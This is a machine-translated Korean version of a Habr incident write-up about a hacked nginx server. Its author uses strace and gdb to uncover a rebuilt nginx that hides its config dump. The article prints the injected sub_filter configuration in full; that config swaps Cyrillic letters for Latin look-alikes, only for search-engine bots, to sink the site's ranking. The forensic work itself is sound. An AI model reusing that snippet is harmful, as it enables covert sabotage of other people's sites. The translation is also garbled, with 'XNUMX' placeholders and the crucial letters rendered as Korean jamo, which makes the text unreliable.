'a'가 'a'와 같지 않은 경우. 해킹으로 인해

내 친구 중 한 명에게 가장 불쾌한 이야기가 일어났습니다. 그러나 그것은 미하일에게는 불쾌한 일이었지만 나에게는 즐거운 일이었습니다.

내 친구가 꽤 있다고 말해야 겠어 UNIX-user: 시스템을 직접 설치할 수 있습니다. MySQL은, PHP는 그리고 간단한 설정을 해보세요 Nginx에.
그리고 그는 건축 도구 전용 웹사이트를 XNUMX~XNUMX개 정도 갖고 있습니다.

전기톱 전용 사이트 중 하나는 검색 엔진의 상위에 확고히 자리잡고 있습니다. 이 사이트는 비상업적인 리뷰어인데, 누군가가 습관적으로 공격해왔습니다. 저것 DDoS 공격, 그런 다음 무차별 대입을 한 다음 외설적인 댓글을 작성하고 호스팅 및 RKN에 욕설을 보냅니다.
갑자기 모든 것이 진정되었고 이러한 평온함은 좋지 않은 것으로 판명되었으며 사이트는 점차 검색 결과의 상위 줄을 떠나기 시작했습니다.

그것은 말이었고 관리자의 이야기 그 자체였습니다.

잠자리에 들 시간이 가까워졌을 때 전화벨이 울렸다. “산아, 내 서버 좀 봐주지 않을래? 해킹당한 것 같고 증명할 수는 없지만 XNUMX 주 동안 그 느낌이 떠나지 않았습니다. 이제 편집증 치료를 받아야 할 때가 된 것 아닐까요?”

이어진 XNUMX분 간의 토론은 다음과 같이 요약될 수 있습니다.

• 해킹을 위한 토양은 매우 비옥했습니다.
• 공격자는 슈퍼유저 권한을 얻을 수 있습니다.
• 공격(발생한 경우)은 특별히 이 사이트를 표적으로 삼았습니다.
• 문제 영역이 수정되었으므로 침투가 있었는지 여부만 이해하면 됩니다.
• 해킹은 사이트 코드와 데이터베이스에 영향을 미칠 수 없습니다.

마지막 요점에 관해서.

흰색 프런트엔드 IP만이 세상을 내다봅니다. http(s)를 제외하고 백엔드와 프런트엔드 간에는 교환이 없으며 사용자/비밀번호가 다르며 키가 교환되지 않았습니다. 회색 주소에서는 80/443을 제외한 모든 포트가 닫힙니다. 화이트 백엔드 IP는 Mikhail이 완전히 신뢰하는 두 명의 사용자에게만 알려져 있습니다.

프론트엔드에 설치됨 데비안 9 호출이 이루어질 때쯤에는 외부 방화벽에 의해 시스템이 외부와 격리되어 정지됩니다.

“좋아, 액세스 권한을 부여해 주세요.” 나는 한 시간 동안 잠을 미루기로 결정했습니다. “직접 눈으로 확인하겠습니다.”

여기 그리고 더 나아가:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

가능한 해킹을 찾고 있습니다

먼저 서버를 시작합니다. 구조 모드. 디스크를 마운트하고 뒤집습니다. 인증로그, history, 시스템 로그 등 가능하면 파일 생성 날짜를 확인합니다. 일반 크래커가 자신을 "휩쓸고"갔을 것이고 Misha는 자신을 찾는 동안 이미 많이 "밟아"졌다는 것을 알고 있습니다. .

나는 일반 모드에서 시작하지만 아직 무엇을 찾아야 할지 잘 이해하지 못하고 구성을 연구합니다. 우선 제가 관심이 있는 것은 Nginx에 일반적으로 프론트엔드에는 그것 외에 다른 것이 없기 때문입니다.
구성은 작고 XNUMX개의 파일로 잘 구성되어 있으므로 그냥 살펴봅니다. 고양이'아 하나씩. 모든 것이 깨끗해 보이지만 내가 뭔가를 놓쳤는지는 절대 알 수 없습니다 포함, 전체 목록을 작성하겠습니다.

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

이해하지 못했습니다. "목록이 어디에 있나요?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

두 번째 질문이 목록 질문에 추가됩니다. "왜 그렇게 고대 버전의 nginx가 필요한가요?"

또한 시스템에서는 최신 버전이 설치되어 있다고 간주합니다.

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

전화해요:
- 미샤야, 왜 재조립했어? Nginx에?
- 일어나세요, 난 이걸 어떻게 해야할지 모르겠어요!
- 알았어, 자고 가...

Nginx에 명확하게 재구축되었으며 "-T"를 사용한 목록 출력은 어떤 이유로 숨겨졌습니다. 더 이상 해킹에 대한 의심이 없으며 간단히 수락하고 (Misha가 서버를 새 서버로 교체했기 때문에) 문제가 해결되었다고 생각할 수 있습니다.

그리고 실제로 누군가가 권리를 얻었기 때문에 뿌리'아, 그렇다면 이렇게 하는 것이 합리적이군요 시스템 재설치, 그리고 거기에서 무엇이 문제인지 찾는 것은 쓸모가 없었지만 이번에는 호기심이 잠을 이겼습니다. 그들이 우리에게 무엇을 숨기고 싶어했는지 어떻게 알 수 있나요?

추적해 봅시다:

$ strace nginx -T

우리는 그것을 봅니다. 추적에 분명히 선이 충분하지 않습니다.

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

재미삼아 결과를 비교해 보겠습니다.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

내 생각엔 코드의 일부인 것 같아 /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

다음과 같은 형식으로 변경되었습니다.

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

또는

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

따라서 "-T"에 의한 목록은 표시되지 않습니다.

하지만 구성을 어떻게 볼 수 있나요?

내 생각이 맞고 변수에만 문제가 있는 경우 ngx_dump_config 다음을 사용하여 설치해 보겠습니다. gdb, 다행히 열쇠가 있어요 --cc-opt 포함 -g 제시하고 최적화를 희망합니다. -O2 그것은 우리에게 해를 끼치 지 않을 것입니다. 동시에, 나는 어떻게 해야 할지 모르기 때문에 ngx_dump_config 에서 처리될 수 있음 사례 'T':, 이 블록을 호출하지 않고 다음을 사용하여 설치합니다. 't' 경우:

'-T'뿐만 아니라 '-t'도 사용할 수 있는 이유블록 처리 if(ngx_dump_config) 내부에서 발생 if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

물론 이 부분에서 코드가 바뀌고 에서 바뀌지 않는다면 사례 'T':, 그러면 내 방법이 작동하지 않습니다.

nginx.conf 테스트이미 문제를 실험적으로 해결한 결과, 악성코드가 작동하려면 최소한의 구성이 필요하다는 사실이 확립되었습니다. Nginx에 유형:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

기사에서는 간결함을 위해 이를 사용하겠습니다.

디버거 실행

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

단계별:

• 함수에 중단점을 설정합니다. 본관()
• 프로그램을 시작하다
• 구성의 출력을 결정하는 변수의 값을 변경합니다. ngx_dump_config=1
• 프로그램 계속/종료

보시다시피 실제 구성은 우리 구성과 다르므로 여기에서 기생 부분을 선택합니다.

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

여기서 무슨 일이 일어나고 있는지 순서대로 살펴 보겠습니다.

결정 사용자 에이전트님의 yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

서비스 페이지는 제외됩니다 워드 프레스:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

그리고 위의 두 가지 조건에 모두 해당되는 분들은

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

텍스트에서 HTML-페이지 변경 '영형' 에 '영형' и 'ㅏ' 에 'ㅏ':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

그렇죠, 유일한 미묘함은 'a' != 'a' 게다가 '오' != '오':

따라서 검색 엔진 봇은 일반적인 100% 키릴어 텍스트 대신 라틴어로 희석된 수정된 가비지 텍스트를 수신합니다. 'ㅏ' и '영형'. 이것이 SEO에 어떤 영향을 미치는지 감히 논의할 수는 없지만, 이렇게 뒤죽박죽된 글자가 검색 결과의 위치에 긍정적인 영향을 미칠 가능성은 거의 없습니다.

내가 뭐라고 말할 수 있니, 상상력이 풍부한 사람들.

참조

GDB로 디버깅
gdb(1) — Linux 매뉴얼 페이지
strace(1) — Linux 매뉴얼 페이지
Nginx - 모듈 ngx_http_sub_module
톱, 전기톱, 전기톱 정보

출처 : habr.com